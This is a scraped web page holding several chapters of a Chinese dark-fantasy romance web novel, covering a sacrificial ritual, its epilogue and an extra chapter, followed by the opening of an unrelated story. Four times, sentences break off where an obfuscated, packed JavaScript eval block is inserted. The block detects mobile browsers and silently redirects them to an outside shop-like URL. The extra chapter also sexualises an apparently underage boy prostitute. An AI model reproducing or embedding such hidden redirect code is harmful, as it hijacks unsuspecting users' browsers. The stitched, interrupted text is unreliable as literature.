他的脸上流露出兴奋，快步走向一旁的柱子处——兰瑟尔此时正静静地“躺”在那里。 “能够为‘主’献身，这可是你的荣幸。”他一边撕扯兰瑟尔的裙子，一边喃喃自语。 然而下一刻，洛克的声音戛然而止。 一把匕首悄无声息地抵上了他的后颈。洛克一愣，随即瞪大了眼睛，试图回头却被那股冰冷的利刃逼停了动作。 是约书亚，他那双藏在镜片下的浅蓝瞳孔此时正闪烁着寒意。 “我早就说过，让你别碰他。”约书亚声音冰冷，他的手没有一丝颤抖，刀尖紧紧贴在洛克的皮肤上。 冷汗顺着额头滑落，洛克讥讽的笑容在瞬间消失，直到现在他才反应过来，身后的人是谁。 他脸上的惊愕与愤怒交织，尝试用力挣扎，嘴里低声咒骂道：“竟然是你，你们这群骗子！卑鄙的玩意儿！” “来人！来人，教士大人，快救我！”洛克大声呼救。 “你以为他会救你吗？”约书亚的声音带着一丝嘲讽，“你替教廷办事，就没想过事成之后他们会怎么处理你吗？” “你个疯子…疯子。”约书亚手下微一用力，他又大声求饶道：“我错了！我错了…约书亚，你别杀我，都是他们…他们逼我的！” 约书亚还待说什么，然而就在下一秒，不远处的祭坛之上，异变陡生。 一名年轻的教士发出一声短促的痛呼。他的身体猛地向前倾倒，仿佛有一只无形的手攥住了他的喉咙。 周围的人还没来得及反应过来，教士的脸色已经迅速苍白，双眼失去了光泽，像是被抽干了灵魂，直挺挺地倒在地上。 “这...这是怎么回事？”黑袍子惊恐地后退，他的声音在祭坛回荡，充满了惶恐。 周围的教士们脸色惨白，惊恐地看着眼前的异变。 “这不正是你想要的吗？”一个声音传来，语调轻柔而缓和，约书亚猛地转头。 兰瑟尔不知何时已经站了起来，不知是否是错觉，约书亚总觉得他碧绿的瞳孔此时正在微微发亮。 “啪——！” 一条裂缝出现在祭坛上，随之而来的是接二连三的碎裂声。 “怎么会…这不可能……”为首的黑袍子喃喃自语，声音因为恐惧而颤抖。他的眼神不自觉地落在的兰瑟尔身上。 随即，像是发现了什么似的，他的喉咙咯咯作响，却仿佛被一只无形的手扼住了似的，说不出话来。 “你不是第一个想拿我当祭品的人，”兰瑟尔几乎是在呢喃了，“你想要我的力量，我给了你，怎么又不开心呢？” 洛克像是见了鬼似的，手脚并用地向外爬。 “我错了...我错了...”无形的束缚如同锁链一般牢固，约书亚惊悚地发现，洛克露在外面的头皮、脸部下爬满了不知名的生物，此时正在人皮下疯狂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344850|152652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的扭动。 “咻……砰。”兰瑟尔的声音始终是轻柔的，他伸出手，轻轻一捻，只是随意的一个动作，另一个教士的身体便像木偶般被操控，双腿瘫软地跪倒在地。 “救命...救命啊——”那教士的声音戛然而止，他的头猛地后仰，瞳孔涣散，带着死不瞑目的恐惧神色倒了下去。 剩下的教士们此刻再也无法维持冷静，他们惊恐地四散奔逃，试图逃离这个充满诡异气息的礼堂。然而，他们的双腿却像是被无形的力量束缚住，任凭他们如何挣扎，都无法挪动半步。 黑袍子们接二连三地倒下了，他们死状恐怖，有人用头疯狂地砸向柱子，有人的肢体彻底移位，无一例外是被人操控后自杀而亡。 祭坛被鲜血浸湿，从现在开始，这才是一场正式开启的献祭。 兰瑟尔缓步走下祭坛，他的目光投向站在门口的约书亚，唇角微微勾起。 约书亚站在原地，控制不住地，他有些颤抖。尽管他努力保持镇定，但眼前的景象令他的心底升起一种前所未有的寒意。 ——快跑！ ——离开他！ ——它是魔鬼！是毒蛇！ 一个声音在他的脑子里疯狂的呐喊，约书亚像是一杯被投入了泡腾片的水，那种感觉在血管里冒泡，从里到外灼烧着他。 回忆的碎片呼啸而来，约书亚恍惚间想起自己和蛇人初见的场景，彼时，他的心被复杂的情绪撞的四分五裂，好奇，震撼，怜悯，却唯独没有恐惧。 “是我拯救了他啊。”他愣愣地想。 ——而他也拯救了我。 魔鬼注视着他，嘴角露出一丝笑容。 “现在，约书亚。”他低语道，声音中带着不可抗拒的力量，“走到我面前，亲吻我。” 约书亚浑身一震，他的眼神变得迷茫，像是失去了所有的意志，身体不由自主地向前走去。 浅色的瞳孔逐渐失去了焦点，仿佛彻底沦为了祂的傀儡。 兰瑟尔的笑容愈发甜蜜，然而，当约书亚的脚步停在他面前时，那双本应迷离的浅蓝色眼睛里，忽然闪烁出一抹清明的光芒。 那是属于人类的感情，像是顽强的火苗，在精神控制下依然未曾熄灭。 “你……”兰瑟尔眼中闪过一丝错愕。他的指尖微微颤动，想要看得更清楚一些。 约书亚避开了他的手，他轻轻抬起手，触碰到兰瑟尔的脸颊。 “你真是个…是条坏蛇。”他喃喃自语，又小声嘟囔了几句。 然后他踮起脚，犹豫了一下，又有些害羞似的，只在兰瑟尔的额头上落下一吻，那动作轻柔得像是一片羽毛。 ——烛火全熄灭了。 倒在一旁的洛克努力地向外爬去，他竭尽全力地喘气，瞳孔由于惊恐而放大，他惊讶地发现自己竟然能看到那一幕——第一缕晨光透过破碎的玻璃洒了进来，祭坛上，邪神捧起他的宝物，他们像是一对平凡的爱侣，而这一幕甚至比新生儿受洗还要圣洁。 这是他死前看到的最后的画面。 20. 尾声 西城区的交际花们最近都在聊同一件事。 准确说是同一个人。 ——约书亚·兰卡斯特，这一片区新上任的税官兼治安官。 小道消息传闻这位老爷有一些瘆人的怪癖，似乎还被卷入过王城前段时间闹的风风雨雨的“人口拐卖”事件中。 一时间上到修道院下到卖场人人自危，就担心哪天这把火就烧到自己头上来了。 而这位闲话里的主人公，此时正在西城区最大的科学实验室里视察。 约书亚起初并不想接下这个职位，与其行使权力，他更乐意去图书馆里读一读最新发表的学术论文——有关跨物种生殖隔离的最新发现。 但那一份与生俱来的慈软让他无法眼睁睁地看着修道院滥用权力的卑劣行径。 约书亚并不习惯与发号施令，但大概处于某种程度上的狐假虎威，这里的人对他十分恭敬——毕竟人人都怀疑他这个姓氏，与教会大主教兼研究院首席，兰瑟尔·兰卡斯特，有什么特殊关系。 为了迎接这位新任治安官的到来，西城区被打扫地一尘不染，往日里充斥在大街上的垃圾、烂泥、粪便，和底层人一起，被连消带打地扫进下水道里。 眼前的内侍还在殷勤地给约书亚介绍王城最新上架的香水——这可是真正的稀奇玩意儿，仅供贵族使用，几乎成为了近期社交的必备品。 “我不用香水。”约书亚看都没看一眼就走出了店，他已经有些不耐烦，这些一看就是赶工出来的表面工程让他敬谢不敏。 那个内侍在心里叫苦不迭，他被安排来刺探约书亚的喜好，几天过去了却收效甚微。 除了在看到新研制出的治疗疟疾的特效药水时，这位新治安官的嘴角上扬了两个维度，其他时候，他就像现在这样，格外的不近人情。 内侍还不死心，和店员一起追在约书亚身后尽力推销到：“或许您的家里，您的夫人…也可以用到啊！” 对啊，就算打探不到约书亚自己的喜好，如果能知道约书亚家里的情况，也是一个很有价值的切入口啊！ 果然，前面的人顿住了急匆匆往前走的步伐。 店员一看有戏，立马走上去，刚要开口说话，却看见治安官的耳朵诡异地红了起来。 “喔，她，她用不着这个。” 约书亚像是想到了什么一样，罕见地有了点情绪波动，店员虽不明所以，但实在不想放跑眼前的肥羊，又拿出另一瓶香水，当街就开始介绍了起来： “那这款呢，我认为非常适合您的气质！是松香和柏木的气味，研究院里的学者都用它去除异味，喔对了！还可以防治蛇虫…” “防止蛇虫？”约书亚的耳朵微动。 “是啊！您看，它里面还添加了东方药草，商队里夏天都靠它防蛇呢！” 那内侍一见约书亚似乎有些松动的迹象，立马招呼着店员帮约书亚买下了那些香水，谢天谢地，他总算是有了点收获。 “约书亚老爷，这条街后面还有剧场，我们专门为您安排了新戏，您看…” “不用了，”约书亚想也没想就拒绝了，半晌又加了句话“请你给剧场演员一些钱，辛苦她们排练新戏。” 内侍又是忙不跌地应下了，试探着问： “那您接下来是想去？” “...去修道院。” ······ ——修道院外。 距离约书亚上一次来教堂，只有不到一年的时间，这里却像是彻底翻新了一样，只能依稀看到往日的光景。 来来往往的修女穿着一模一样的灰色亚麻长袍，头戴折成方形的白帽，一齐向约书亚行注目礼。 她们脸上毫无表情，形成归训的、整齐划一的群体，细看之下竟然有些毛骨悚然。 约书亚从很早之前就不赞同教会的做派——向底层人民出售赎罪券，对能缴清欠款的妓院睁一只眼闭一只眼，却对那些只能出卖身体维持生计的底层站街女们大肆收捕，用律惩鞭直打得她们血肉模糊，或是将她们虐待到骨瘦嶙峋。 他刚要开口，却被一个迎面而来的小修女撞个正着。 “对不住…对不住。” 那个女孩似乎也知道自己做错了事，一个劲儿地低着头道歉。 “你是新来的吗？毛毛躁躁的，这么急干嘛？” 内侍开口斥责到。 约书亚低头打量了她一下，女孩布满雀斑的脸整个红了，鼻头上还有细小的汗珠，显然是跑得急了。 “没关系。”约书亚没放在心上，他越过女孩往前走，却看见脚边掉了一个东西。 黑麦面包。 不怪约书亚对它那么熟悉，在他最落魄的那段时间，他只能也只敢买这样的东西充饥。 “这是你掉的东西吗？”约书亚叫住正要离开的女孩，弯下腰帮她把面包捡了起来，顺便还拍了拍沾上的灰尘。 然而出乎意料的是，女孩的脸色几乎是瞬间就变了。 “不是，这不是我的…”她看起来怕极了，只能嚅嗫着解释。 “还说不是你偷的！怪不得我说最近教会总是缺东西，原来是你！”后面跟上来的一个年长的修女却擒住了她的胳膊，大声指责到。 “我…我…”女孩的脸涨红了，她试图挣扎，最后却只是徒劳地垂下了头。 “治安官大人，她是要把这些偷给她的那个妓女朋友，就是她们两偷偷倒卖教会的东西。” “我不是…我不是…”女孩的脸看起来更加苍白了，语毕，她似乎放弃了解释，站在一边等着约书亚发话。 “你叫什么？”约书亚向前一步，把面包塞到了她手里，轻声问。 “南希…我叫南希。”似乎没想到约书亚会跟自己搭话，女孩的脸很快有些充血。 “为什么要偷这个？” “我…我没有偷，这是我自己的吃的，我只是拿去给别人吃…” “她撒谎！”后面的修女打断了她的话，“治安官大人，你别被她骗了，她是要拿去给一个被关在这里的妓女吃，她已经被恶魔蛊惑了！” “她没有偷。”约书亚的声音不大，却带着不容置疑的力量。周围的人都愣住了，包括那个年长的修女。她皱起眉，似乎不理解这个新来的治安官为什么要替一个小修女说话。 “治安官大人，您可能不知道，这个女孩不止一次偷教会的东西了。我们不能对这样的行为姑息，否则其他人——” “我说她没有偷。”约书亚打断她，语气比之前更坚决，目光直视着修女的眼睛，“就算她真的拿了这块面包，你们觉得是因为贪心吗？还是因为她饿了？” 修女被他的目光逼得有些后退，但她还是不甘示弱：“即便如此，她也不该触犯教会的规定。这是对教会和上帝的亵渎。” “她会饿死的！”南希忍不住反驳，意识到了自己的失态，她对着约书亚小声解释道： “我只是不想看到她被饿死，治安官大人，她或许有罪，但她不应该被折磨…我只是不忍心。” 约书亚在心里叹了口气，这里的情况或许远比他想的还要复杂。 “那么南希，你能带我去找她吗？” “治安官大人！”那个年长的修女像是听到了什么无稽之谈，大声嚷嚷起来。 “收起你的无理，”那个内侍却立刻接话到，“约书亚大人想去哪里就去哪里，还用我提醒你吗？这位大人可是被红袍主教亲自洗礼过的圣子。” 说罢，他又换了一个语气，谄媚着对约书亚说：“大人，这里的罪人都被关在地牢里，只是她们身上都是污秽和病菌，还是等她收拾干净再来见您吧。” “没关系。”约书亚并不在意，“不过在这之前，我要先去见一些人。” 他显然意有所指。 看到眼前的女孩还在犹豫，他稍微放软了语气安慰道：“放心，我不会对你的朋友做什么的。” 南希深深地看了他一眼，仿佛是做出了什么决定，拿着面包转身朝着一个方向小跑过去。 年长的修女的脸色铁青，她没想到会在这么多人面前被约书亚顶撞。她冷哼一声，带着些许威胁的意味：“治安官大人，我劝您不要轻易插手教会的事务。这里的规矩，向来由主教说了算。” “那你们的规矩，恐怕需要改改了。”约书亚平静地回应道。他抬眼望向修道院深处，那里高耸的建筑投下阴影，仿佛遮蔽了所有隐藏的罪恶。 他不再理会面前的修女，转身朝修道院的主楼走去。 ...... “就是这了。”随着内侍的指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344851|152652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 引，约书亚走进一间略显昏暗的房间。 他进来时，几个身穿长袍的高阶神职人员再正围坐在一张圆桌旁，低声讨论着什么。看到他的身影，纷纷停下了交谈。 “兰卡斯特大人，不知道是什么风把您吹到这里来的？”其中一个年长的主教皮笑肉不笑地说道。他的长袍上绣着繁复的金线，彰显着他在教会中的地位。 约书亚并未回应，他从怀中掏出那份文件，放到桌上。纸张在桌面上展开，上面密密麻麻地记录着修道院内部处理“犯规”女孩们的流程，甚至包括如何处理那些无法为教会创造价值的人。 在场的人脸色微变，但很快恢复了镇定。那位年长的主教笑了笑，手中的笔转了一圈： “这些东西，是谁给您的？” “并不重要。”约书亚的目光在他们之间扫视了一圈，语气沉稳却不容置疑，“我要你们释放所有被关押的女子，并停止对她们的虐待。你们可以拒绝，但我会把这些资料送到王城，公开教会的丑闻。” 房间里顿时陷入一片寂静，在内侍眼珠子都要瞪出来的注视下，几名主教的脸色都变得异常难看。 “你知道自己在说什么吗，兰卡斯特治安官？”半晌，其中一名年轻的神父冷冷地质问，“你这么做，是在背叛教会，背叛上帝。” “我背叛的，是你们这些打着上帝旗号的伪善者。”约书亚毫不退让，他站得笔直，声音回荡在房间的每一个角落，“上帝会怜悯那些无辜的灵魂，而你们，却只是在利用信仰为自己的利益服务。” 一时间，无人再开口。约书亚冷冷地看着他们，心中却有一种前所未有的决心。 “是....是大主教大人让你来的吗，” 良久，那位年长的教士用沙哑额声音问到。 约书亚没有说话，他的态度已经足以说明一切。 “我知道了，”最终，那位年长的主教长叹一声，摆了摆手，“你赢了。我们会处理好的。” 约书亚微微颔首：“不只是释放，教会接下来会有专职人员安排她们在城郊的一处庄园暂住，并为她们提供体面的工作，直到她们能重新在社会中立足。” 窗外的白鸽在此时飞过，在约书亚脸上略过一道道阴影，站在最前面的神父呆愣住了，他想到自己第一次宣誓时的场景，那时他只是一个乡绅的儿子，满心要拯救那些饱受苦难的灵魂。 而现在... “愿神庇佑你。”他喃喃道。 ...... 再回到庄园时，已经是深夜。 约书亚有些惊奇，那个人竟然没有在庄园门口迎接自己。 或许他也意识到自己近来太缠人了？心不在焉地想着，约书亚拢了拢外套，走进花园。 “晚上好，先知大人。”身后忽然传来一个熟悉的声音，语气看似十分尊敬，却夹杂着一丝狭促。 约书亚顿了一下，无奈转身，果然是兰瑟尔，他的头发在月光下煜煜生辉，像是东方运来的最昂贵的丝绸。 “原谅我只能在夜里和你相见，”兰瑟尔语气有一丝刻意挤出来的委屈，“实在是因为您日理万机，我不敢打扰。” 约书亚扑哧一声笑了。 “我们住在一起，每天都能见面，你真的有必要这么说吗。”约书亚向他走近，他略微低头，从下往上观察兰瑟尔刻意伪装出来的“哀怨”嘴脸，唇角忍不住染上了一丝笑意。 “请原谅我，亲爱的，”面前的人往前走进一步，“你知道的，最近正好是我的特殊时期。” “咳咳...” 约书亚干咳了两声，他的耳朵泛起一阵薄红，“所以我今晚提前下班了。” 他们在月下相视一笑。 ...... 很多年后，有关于约书亚·兰卡斯特的传闻依然能让披露小道消息的猎奇日报赚的盆满钵满。 他还是那个不合群的“怪胎”，他不参加舞会，拒绝佩戴假发，据说他的私人庄园里装满了从拉丁美洲海运来的毒蛇......他甚至公开发表关于《跨物种生物存在可能性》的论文，质疑科学院几百年以来的权威，那种直言不讳的个性能把他的导师气到七窍生烟。 但这些都并不重要，因为在这个世界上，他终于找到了属于自己的地方。 21. 番外1 名姝[番外] 寒冷的天气是底层街区的毒瘤。 即便是以穿的少为职业标准的流莺也很难熬，就在前天，约书亚才听说一个喝醉酒的交际花死在了冬夜里，她的尸体第二天被发现，脸上却洋溢着笑容，仿佛做了一场不愿清醒的美梦。 很可惜，约书亚并不以此为生，除去性别这些先天条件外，原因更为卑劣，他是个刚刚上道的小偷。 他不是被卖到这里来的，捡到他的鸨母以为他是个被上流场所淘汰的雏丨妓，男孩在下城区是最不值钱的东西，但约书亚还是被留下了——单凭那一张脸。 某种程度上约书亚充当了招揽生意的角色，他太瘦了，又蓄长发，穿上大裙摆的衣服完全可以以假乱真，这可是不常见的高级货。 他只需要站在巷口一会，立马就能把人带走，不过为了防止漏馅儿，约书亚一般不会跟客人纠缠太久。 这是约书亚的生存法则，弱肉强食的淘汰论在这里显得尤为突出，约书亚并没有什么偷窃之类的“童子功“，只能用别的方法填饱自己的肚子。 比如在脱衣服的时候顺走外套里的银币，再藏匿在花边内衣里——一个青涩又保守的雏丨妓是不会让客人触碰这些部位的。 这种伎俩也并不是每次都能奏效的，约书亚为此甚至挨过打，好在来这里消费的客人也不敢把事情闹大，这才让他逃过了盗窃罪的处罚。 今天的气温实在是太低了，约书亚在巷口张望了很久，也没能招揽到什么像样的生意，不过这样的天气也有好处，那些总盯着这里的治安官们也嫌天冷，不太会外出巡查。 终于在第十二次望着面前的人路过时，约书亚饥饿的本能驱使他做出了一个大胆的决定。 “这位先生，您要买烟吗？”他把身体微微探出，脸上是一副略带青涩的犹疑的神情——男人们似乎对这种表情都没什么抵抗力。 刚从他面前走过去的男人果然停住了脚步。 约书亚一看有戏，忙不迭的往前两步，从贫瘠的胸口中挤了一支烟出来——这是底层社区的潜规则，只要接过这支烟夹在耳朵上，就代表一桩生意成了，约书亚递出去的烟的数量代表着他的价格——一支烟1个银币。 这可以算得上是底价了，但鉴于最近约书亚实在拉不到客，他只能通过降低价格来促销自己。 面前的男人却迟迟没有转过身来。 这让约书亚陷入了或多或少的焦虑之中，他在这里耗得太久了，劣质的丝袜和蕾丝花边并没有保暖的功效，约书亚已经感觉到自己的上下牙正在控制不住地发颤。 “要不这样吧，”他控制不住地软了声音，几乎算得上是哀求了，“您能不能先带我去个暖和点的地方，或者给我一点吃的也行。” 先收好处再办事，这是约书亚的底线，毕竟在钱到手后，他有的是借口把男人甩开。 “你很冷吗？”答非所问，不过好歹他终于转过来了，约书亚也得以看到这位顾客的样貌。 一瞬间约书亚甚至想过拔腿就跑。 他的眼神控制不住地在男人胸口搜寻，发现没有治安官的徽章，这才松了一口气。 不过这么冷的天，应该不会有哪个治安官无聊到要来这里钓鱼执法吧。 原因无他，面前这个男人看起来完全不像回来这种低等场所寻欢作乐的人。他很高，约书亚必须仰头才能勉力看到他瘦削的下颌，最格格不入的还是他的眼神，与约书亚熟悉的惊艳、下流、急迫都不同，他打量约书亚的神情就像是在评估一件物品。 “您...您要买烟吗？”怕他没听懂，约书亚又结结巴巴地问了一遍。 男人的眼光这才从约书亚的脸上移到了烟上。 “多少钱？”他问。 约书亚正欲回答，却忽然被一阵暖意包裹住了。 他呆愣愣地低下头，这才发现那个男人把身上的大衣披到了自己身上。 “去那边说吧。”男人指了指一旁的酒馆。 —— 这是这一片区生意最好的地方——天堂角酒吧，无论何时都亮着灯，只要靠近一点，就能闻到空气中充斥着黄油啤酒的味道。 然而到了酒馆门口，约书亚却踌躇再三也没进去。 倒不是什么别的原因，他这一身装扮太过惹眼，一不小心就会招来治安官。 那个男人倒是十分有耐心，他似乎看出了约书亚在犹豫什么，随即把约书亚身上的大衣一裹，少年瘦弱的身躯就被全部遮住了。 “进去吧。” 随着身后轻轻一推，约书亚只能走了进去。 他们在一处角落入座，这个时间段，正是客人最少的时候，并没有什么人注意到他们。 男人话不多，只是叫来侍者点单，约书亚无所事事，只能低下头，盯着大衣上精致的纽扣发呆。 “我不抽烟，或许你可以考虑卖一些别的东西。” 面前忽然传来了男人的声音。 约书亚愣了愣，意识到这句话是在跟自己说的时候，整张脸红了个彻底，他在心里暗暗咒骂，面上却还要堆出一副笑容来。 “您需要的话当然可以。” 这是最近时兴的一种风雅，一些上流场所的交际花们会向心仪的客人出售自己的私密物品——一些诸如内衣带、吊带袜扣、甚至衬裤一类的小玩意。 果然没什么不一样的。 约书亚按捺下心理那一丝微妙的失落，试探性地问道：”您对什么类型的感兴趣呢？” 男人这才抬头瞥了他一眼，似乎在打量他身上带着什么物件。 约书亚的笑容僵在脸上，他意识到这个男人或许比他以前遇到过的客人更加下流，也更难缠，他大概是想要自己现在就把......想到这里，约书亚隐藏在薄薄裙子下的两条瘦骨伶仃的腿不自觉绞紧了。 他从没干过这样的勾当，犹豫再三，正要咬紧牙把手向下伸去，却被突如其来的声音打断了。 侍者终于来了。 食物的香味瞬间充斥了约书亚的大脑，烤肉的滋味像鞭子似的抽打约书亚因为饥饿和羞耻而过度紧绷的神经。 他甚至下意识地咽了下口水。 约书亚不敢动筷，在面前的男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344852|152652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人发话前，他并不能确定这些食物的归属权划分。 那男人也不管他，自顾自地从一旁取来餐具，他似乎有些洁癖，使用前用手帕仔细擦拭着餐具，直到约书亚以为他终于可以开始用餐时，那人却把擦拭好的刀叉递了过来。 看着约书亚呆呆地不动，对面的人开口解释到：“可能会有灰尘和细菌。” “谢...谢谢。”约书亚愣愣地接住了餐具。 “现在可以吃了。”男人似乎真的只是为了把餐具递给他而已，转而又擦拭起另一套来。 约书亚有些坐立难安，如果说之前他是在担心自己能不能吃到这餐饭，现在他却是在犹豫是否要等面前这个人一起用餐。 大概是因为男人之前的举动，不知为何，约书亚并不想在他面前表现得像个粗鲁的下等人，即使在这之前，这是他常用于甩开难缠的客人的惯用手段。 好在他没有犹豫太久，因为面前的人甚至帮他切好了牛排。 约书亚感觉自己现在的表情一定很可笑，他脸颊充血，只得匆匆道谢，嘴里小声嘟囔着类似“我也会切的”之类的的话语。 “我是兰瑟尔，你叫什么名字。”仿佛是察觉到了他的窘迫，男人随便找个了话题。 “黛西，先生。”约书亚下意识回答。 男人掀起眼睫打量了他一眼，约书亚莫名头皮一紧。 客人和交际花之前是不会交换真实姓名的，约书亚深谙这一点，他相信面前的男人也是。 然而或许是入行不久的良心未泯，还是身上披的大衣实在是太暖和，约书亚竟也不合时宜地产生了一些愚蠢幻想，他犹豫了一下，也不管面前的人能不能听见，轻声说：“约书亚,先生，我叫约书亚。” 明明只是短短一句话，约书亚却感觉身体某个部位像是破了一个大口，不停地漏风，好像他吐出的不是一句话，而是一块血肉似的。 “不错的名字。”男人放下了刀叉，换了方手帕擦拭嘴角，他表情很认真，也并没有要嘲笑约书亚的意思，这或多或少保护了约书亚可笑的自尊心。 “我...”约书亚刚要开口，面前的男人却直接站了起来。 “我还有事，你可以把这些都吃完。”他说完，也不顾约书亚的反应，自顾自地唤来侍者结账。 “您要走了吗？”约书亚有些无措。 “是的。”兰瑟尔似乎没有要继续攀谈的意思，自始至终，他都没有再看约书亚一眼。 约书亚愣愣地看着男人离开，他甚至来不及说上两句俏皮话来挽留男人，只能讷讷地站起来，又有些不知所措地坐下。 就...就这样了？ 约书亚说不清自己此刻的心情，这个男人没有向他索要任何贴身物品，他甚至没有像那些贵族一样，瞧不起下城区的货色却总要揩油一把。 从始至终，他甚至没有碰约书亚一下。 搞...搞什么啊.... 直到侍者过来提醒，他们要打烊了，约书亚才从座位上离开，他没有接着把剩下的菜吃完，只是悄悄带走了男人留下的手帕。 22. ㈡新人炊事员 “新来的那个，切一些噜噜兽触须，等会主厨要用。” “来了...” “动作能不能麻利点，有你这功夫我都把蛋打好了。” “来了...” “配菜呢？我说配菜！配菜！” “来了...” 老天啊，这怎么忙的过来？ 兰多擦了一把流到脸颊下方的汗水，他忙的活像个被抽了三鞭子的陀螺，新买没多久的衬衫几乎全湿了，这让他简直忍不住就要咆哮出声。 厨房里挤挤挨挨的，戴着白色厨师帽的雌虫们在狭窄的过道穿梭，像是一个训练有素，各司其职的“蜂巢”。 兰多·诺里斯，F级垃圾雌虫，做菜新手，炊事班现任菜鸟——竭诚为您服务，无论是洗菜、备菜、还是切菜......哎哟稍等切到手了。 虽然十分辛苦，但兰多很珍惜这份工作，至少他现在不用靠定期卖血来维持基本生计，也不用再考虑“卖了一个肾以后能不能正常生活”这类问题。 一个月前，他还只是一个在贫民窟的斗兽场里摸爬滚打的下等雌虫，若不是机缘巧合，他大概会和其他倒霉蛋同伴一样，在日复一日压榨中提前透支自己的生命。然而即使是这份工作，也是他托了点“关系”才找到的。 “兰多·诺里斯！”一声爆喝，“我要的是高级营养液不是增稠剂，虫神在上，你脑子是被消毒水洗过吗？” 可是我从没见过高级营养液啊...... 兰多在心里反驳，他站直了身，被迫挨着这劈头盖脸的辱骂。 “您别生气，”兰多的脸上挂上一丝讨好，“我会把这一份吃光，保证不会浪费。” 他黑色的眼睛眨了两下，透露出一丝清澈的愚蠢。 领班的雌虫一时语塞，但很快，他又开起了新一轮的嘲讽。 “果然，我当时就不应该同意把你调进这里来”，他的嘴还在喋喋不休，兰多有些怀疑他的唾沫是否会飞溅到面前的汤里。 “你们这些F级的家伙无一不是懒鬼！贱骨头，什么事情都做不好的废虫。” 他一转头，还待再讽刺几句，却见兰多已经极其迅速地把那盘“粘稠的、不知道原料是什么的胶状物”放进了袋子里——这是他今晚的宵夜。 “啧......格局的差距，”他轻蔑地投来一眼，用一种大到所有虫都能听见的声音说道：“这就是你为什么只有F级的原因。” 兰多只装作没听见。 “嘿垃圾。”另一个熟悉的身影挡在兰多面前，他长得黝黑而壮硕，像一座巨山。 “去帮我把我煤气罐拖出去，”雌虫的眼神中流露出一丝恶意，“这个你总会做吧。” 这种不痛不痒的言语攻击让兰多忍不住发笑，他状似顺从地点了点头，正色道：“我这就去。” ...... 走廊今日出奇的安静，兰多用肩膀把门抵开，再用杂物卡住一条缝，一手托着一个足足十几公升的煤气罐，缓慢地朝出口处移动。 老实说，这工作的难度超乎他的想象，为了生存，他的技能点全部分给了类似“如何防止被捅到要害”，“如何识别□□□□”上。 ——做饭，对于连最低级营养液都买不起的他来说，可真是个奢侈的词汇。 或许我该考虑干点别的杂事？ 兰多用脚把煤气罐踢到对应的位置，有些走神。 空气中忽然传来一股很淡的焦味，并不明显，但也足以让兰多常年游走在危险边缘的神经绷紧了。 硝烟味？ “轰——” 一声巨响。 下一秒，他条件反射地抱头，循着肌肉记忆向旁边滚去。 什么声音？ 该死，不会是煤气罐炸了吧？ 一阵短暂的耳鸣过后，其他声音才陆续传来，由小变大，逐渐冲破他的耳膜。 “一级警报！一级警报！外部防御正在被摧毁，已向绿洲总部发出求救信号...” 无机制冰冷的提示声响起，走廊上不断闪烁的红光把兰多拉回了现实。 不是吧.....我只是在心里想想，没真想把这里炸了啊。 走廊逐渐陷入一阵骚乱，办公室的门打开，一队又一队穿着作战服的雌虫来回穿梭，显然出了大事。 “异兽...异兽来了！马上撤离！” “中将呢？中将呢？这到底是怎么回事啊？” —— “该死，它们屏蔽了信号网！” “快去告诉博士，它们这次又演变出新的作战方式了！” 杂乱无章的地上，到处都是碎片、不知名物体的残渣......看着眼前的场景，兰多彻底陷入了震惊。 谁来告诉他到底为什么会这么倒霉啊？ 这才是他上班第一天啊！ “啪——”又一声巨响下，走廊灯全碎了。 不能再犹豫了！他迅速闪身，利用被轰得崎岖的铁门缩回厨房。 “外面怎么了？”一转头，领班惊恐的脸就贴了上来。 “我还想问你怎么了呢。”忍住下意识把他推开的冲动，兰多叹了口气。 几分钟后，兰多终于从惊恐万分的同事那里了解了事情的来龙去脉。 他们的基地遭遇了异兽的袭击，残存在大量进攻和炮火之下的，只有炊事班所在的后勤供应部。 这地方本就位于边缘地带，只有发育不良或者身型畸形的低等级雌虫才会在这里任职。 或许正因为清楚地知道他们无法与异兽大军相抗衡，此时他的几个同事正急着通过手环呼叫外部的通讯，试图向联邦政府发送求救信号。 “没用的，它们屏蔽了信号网。”兰多点了一根烟——这是他从一个匆匆逃命的士兵那里捡到的。 “那怎么办啊？”一旁的同事已经面如土色，来这里工作的雌虫大多没什么理想抱负。 “我今天第一天来，就想好好做我的菜，怎么会这样。”雌虫话未说完，脸上显示出一阵痛苦之色，紧接着就抽搐倒地，这是异兽的第三波精神攻击。 兰多皱眉，他只有F级，异兽攻击时所散发出的精神声波对他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 